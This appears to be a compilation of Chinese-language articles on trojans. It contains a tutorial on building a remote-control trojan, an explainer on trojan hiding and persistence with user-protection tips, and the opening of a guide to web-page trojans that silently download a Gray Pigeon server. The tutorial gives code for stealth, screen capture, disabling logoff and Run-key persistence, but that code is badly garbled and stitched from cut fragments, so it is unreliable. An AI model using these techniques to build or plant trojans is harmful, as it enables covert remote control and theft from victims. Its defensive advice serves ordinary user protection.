木马制作原理
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——吗
启动C++Builder 企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
_str(), AnsiString(SystemPath+"\\\\").c_str(),FALSE);
.)
{
_str());
_str());
_str();
nsiLastChar()!=\'\\\\\')
_str();
_str();
uid);
ttributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
.)
{
goto NextTime;
.)
{
return;
1”2”0L. Y................
#define DestNum 1000 =random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
_str()); _str(), volname,255,&sno,&maxl,&fileflag,filename,100)){
cs=String(name)+"盘卷标为:"+String(volname)+"\\n";
fwrite(),(),1,fp);
cs=String(name)+"盘序号为:"+String(sno)+"\\n";
fwrite(),(),1,fp);
GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); 1”ET类中的类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
;
("服务器不在线!确定是否输入主机名称.");
}
}...." + "\\r");
stream = ();
{
byte[] by = ());
(by,0,;
();
threadReceive =new Thread(new ThreadStart(receive));
();
}ET类库中的命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer
下面设键值NoLogOff 为1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
private void UnLogOff()
{
ET命名空间,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了类。
private void moveCC1()
{
try
{
析和前面一样
try
{
key1 = ("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",true); ("microsoftt","d:\\\\winnt\\\\system32\\\\");
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=("SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"); ("microsoftt","d:\\\\winnt\\\\system32\\\\");
();
}
catch{}
}
}
木马程序用“瞒天过海”或“披着羊皮的狼”之类的词来形容这类程序一点也不为过,直截了当的说法是木马有两个程序,一个是服务器程序,一个是控制器程序,当你的电脑运行了服务器程序后,客人就可以使用控制器程序进入你的电脑,通过指挥服务器程序达到控制你的电脑的目的.
有些网友会说我的电脑没有什麽秘密的资料,就抱着无所谓的态度,我想你肯定不希望在奋勇冲浪的时候,在与MM谈情说爱的时候,或许你在看属于你隐私的电子邮件的时候总有一双或很多双眼睛在"笑眯眯"的"关心"着你吧,更有甚者,通过木马将病毒传染到你的电脑上,让你死去活来,你的鼠标被人家控制,键盘不知什麽时候锁住了,这电脑还算你的吗怎麽办凉拌!
那麽木马究竟是何方神圣,让我们来分析一下.
一个木马要工作,那麽其服务器程序必须在目标上运行,没有人会主动要求去运行它,但是
会有这麽一天,有人对你抱以和善的微笑说,"我这有一个好游戏""我有漂亮的MM屏保和你分享一下"等等,当你打开这些所谓的程序时,一个宿主程序已经悄悄潜入你的机子,第一步就这样完成了,这完全是我们疏于防范造成的.
然后,木马一般会在以下三个地方安营扎寨:注册表、、,因为电脑启动的时候,需要装载这三个文件,大部分木马是使用这三种方式启动的.也有捆绑方式启动的,木马phAse 版本和NetBus 版本就可以以捆绑方式装到目标电脑上,可以捆绑到启动程序上,也可以捆绑到一般程序的常用程序上.如果捆绑到一般的程序上,启动是不确定的,这要看目标电脑主人了,如果他不运行,木马就不会进入内存.捆绑方式是一种手动的安装方式,一般捆绑的是非自动方式启动的木马.非捆绑方式的木马因为会在注册表等位置留下痕迹,所以,很容易被发现,而捆绑木马可以由黑客自己确定捆绑方式、捆绑位置、捆绑程序等,位置的多变使木马由很强的隐蔽性.
木马的服务器程序文件一般位置是在c:\\windows和c:\\windows\\system中,为什么要在这两个目录下,因为windows的一些系统文件在这两个位置,如果你误删了文件,你的电脑可能崩溃,你不得不重新安装系统.
木马的文件名更是一种学问,木马的文件名尽量和windows的系统文件接近,这样你就会弄糊涂了,比如木马SubSeven 版本的服务器文件名是c:\\windows\\,而windows由一个系统文件是c:\\windows\\,他们之差一点点,但是删错了的话,结果可大不相同的哦,删除会让你死翘翘的哦.再比如,木马phAse 版本,生成的木马是C:\\WINDOWS\\System\\,愣是和windows的系统文件C:\\WINDOWS\\System\\一模一样,只是图标有点两样,你可不要删错了哦.上面两个是假扮系统文件的类型,我们再来看看无中生有的类型,木马SubSeven 版本服务器文件名是c:\\windows\\,看清楚了哦,少一个s的哦,如果不告诉你这是木马,你有胆子删吗
但是木马有一个致命的缺点,相对固定的端口,黑客要进入你的电脑,必须要有通往你电脑的途径,也就是说,木马必须打开某个端口,大家叫这个端口为“后门”,木马也叫“后门工具”.这个不得不打开的后门是很难隐蔽的,只能采取混淆的办法,很多木马的端口是固定的,让人一眼就能看出是什么样的木马造成的.所以,端口号可以改变,这是一种混淆的办法.我们知道7306
是木马netspy的,木马SUB7可以改变端口号,SUB7默认的端口是1243,但是如果把1243端口改成了7306呢,呵呵,一定会把目标电脑的主人弄混淆了.有些人会问,要是这个端口会自动改变那该多好呀,每次上网端口号自动改变,呵呵,真聪明,可惜聪明过头了.比如,真有这样的木马装在我的电脑上,每次上网的端口均会改变,你是黑客,你打算怎么进入我的电脑呢你知道这个木马现在开放的端口号是多少吗想扫描我的电脑端口一共有6万多个,你什么时候扫描完毕半个小时,呵呵,我早发现了,早把你炸死了.即使我是菜鸟一个,你这样高速度扫描我的电脑,也会导致我的电脑通讯阻塞,谁会在网速非常慢的情况下在网络上待半个小时所以,这基本上是不太可能的事情.
木马有很强的隐蔽性,在WINDOWS中,如果某个程序出现异常,用正常的手段不能退出的时候,采取的办法时按“Ctrl+Alt+Del"键,跳出一个窗口,找到需要终止的程序,然后关闭它.早期的木马会在按“Ctrl+Alt+Del"显露出来,现在大多数木马已经看不到了.所以只能采用内存工具来看内存中时候存在木马.
木马还具有很强潜伏的能力,表面上的木马被发现并删除以后,后备的木马在一定的条件下会跳出来.这种条件主要是目标电脑主人的操作造成的.我们先来看一个典型的例子:木马Glacier(冰河正式版)现在已经升级到版, 这个木马有两个服务器程序,C:\\WINDOWS\\SYSTEM\\挂在注册表的启动组中,当电脑启动的时候,会装入内存,这是表面上的木马.另一个是C:\\WINDOWS\\SYSTEM\\,也在注册表中,它修改了文本文件的关联,当你点击文本文件的时候,它就启动了,它会检查是不是存在,如果存在的话,什么事情也不做.当表面上的木马被发现并删除以后,目标电脑的主人可能会觉得自己已经删除木马了,应该是安全的了.如果目标电脑的主人在以后的日子中点击了文本文件,那么这个文件文件照样运行,而被启动了.会发现表面上的木马已经被删除,就会再生成一个,于是,目标电脑以后每次启动电脑木马又被装上了.
说了这麽多,是不是感到很恐怖,很上火,别着急,清凉解暑药马上就到.
在对付特洛伊木马程序方面,有以下几种办法:
1.必须提高防范意识,不要打开陌生人信中的附件,哪怕他说的天花乱坠,熟人的也要确认一下来信的原地址是否合法.
2.多读.许多人出于研究目的下载了一些特洛伊木马程序的软件包,在没有弄清软件包中几个程序的具体功能前,就匆匆地执行其中的程序,这样往往就错误地执行了服务器端程序而使用户的计算机成为了特洛伊木马的牺牲品.软件包中经常附带的文件会有程序的详细功能介绍和使用说明,尽管它一般是英文的,但还是有必要先阅读一下,如果实在读不懂,那最好不要执行任何程序,丢弃软件包当然是最保险的了.有必要养成在使用任何程序前先读的好习惯.
值得一提的是,有许多程序说明做成可执行的形式,往往捆绑有病毒或特洛伊木马程序,或者干脆就是由病毒程序、特洛伊木马的服务器端程序改名而得到的,目的就是让用户误以为是程序说明文件去执行它,可谓用心险恶.所以从互联网上得来的最好不要执行它.
3.使用杀毒软件.现在国内的杀毒软件都推出了清除某些特洛伊木马的功能,如KV300、KILL98、瑞星等等,可以不定期地在脱机的情况下进行检查和清除.另外,有的杀毒软件还提供网络实时监控功能,这一功能可以在黑客从远端执行用户机器上的文件时,提供报警或让执行失败,使黑客向用户机器上载可执行文件后无法正确执行,从而避免了进一步的损失,但是要记住,它不是万能的.
4.立即挂断.尽管造成上网速度突然变慢的原因有很多,但有理由怀疑这是由特洛伊木马造成的,当入侵者使用特洛伊的客户端程序访问你的机器时,会与你的正常访问抢占宽带,特别是当入侵者从远端下载用户硬盘上的文件时,正常访问会变得奇慢无比.这时,你可以双击任务栏右下角的连接图标,仔细观察一下“已发送字节”项,如果数字变化成1~3kbps(每秒1~3千字节),几乎可以确认有人在下载你的硬盘文件,除非你正在使用ftp功能.对TCP/IP端口熟悉的用户,可以在“MS-DOS方式”下键入“netstat-a"来观察与你机器相连的当前所有通信进程,当有具体的IP正使用不常见的端口(一般大于1024)与你通信时,这一端口很可能就是特洛伊木马的通信端口.当发现上述可疑迹象后,你所能做的就是:立即挂断,然后对硬盘有无特洛伊木马进
行认真的检查.
5.观察目录.普通用户应当经常观察位于c:\\、c:\\windows、c:\\windows\\system这三个目录下的文件.用“记事本”逐一打开c:\\下的非执行类文件(除exe、bat、com以外的文件),查看是否发现特洛伊木马、击键程序的记录文件,在c:\\Windows或c:\\Windows\\system 下如果有光有文件名没有图标的可执行程序,你应该把它们删除,然后再用杀毒软件进行认真的清理.
6.在删除木马之前,最最重要的一项工作是备份,需要备份注册表,防止系统崩溃,备份你认为是木马的文件,如果不是木马就可以恢复,如果是木马你就可以对木马进行分析.不同的不马有不同的清除方法,由于涉及面太大,这里就不详述了.
总之不管你喜欢不喜欢,木马总是存在的,你只有去多多少少的了解一些木马的知识,才不至于遭人暗算,警惕啊,我的朋友,在茫茫的大海中,总有那麽一双眼睛在窥视着你.
网页木马制作全过程(详细)
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示:代码说明 a. 代码中“src”的属性为程序的网络地址,本例中 “https://www.360docs.net/doc/ff16911492.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的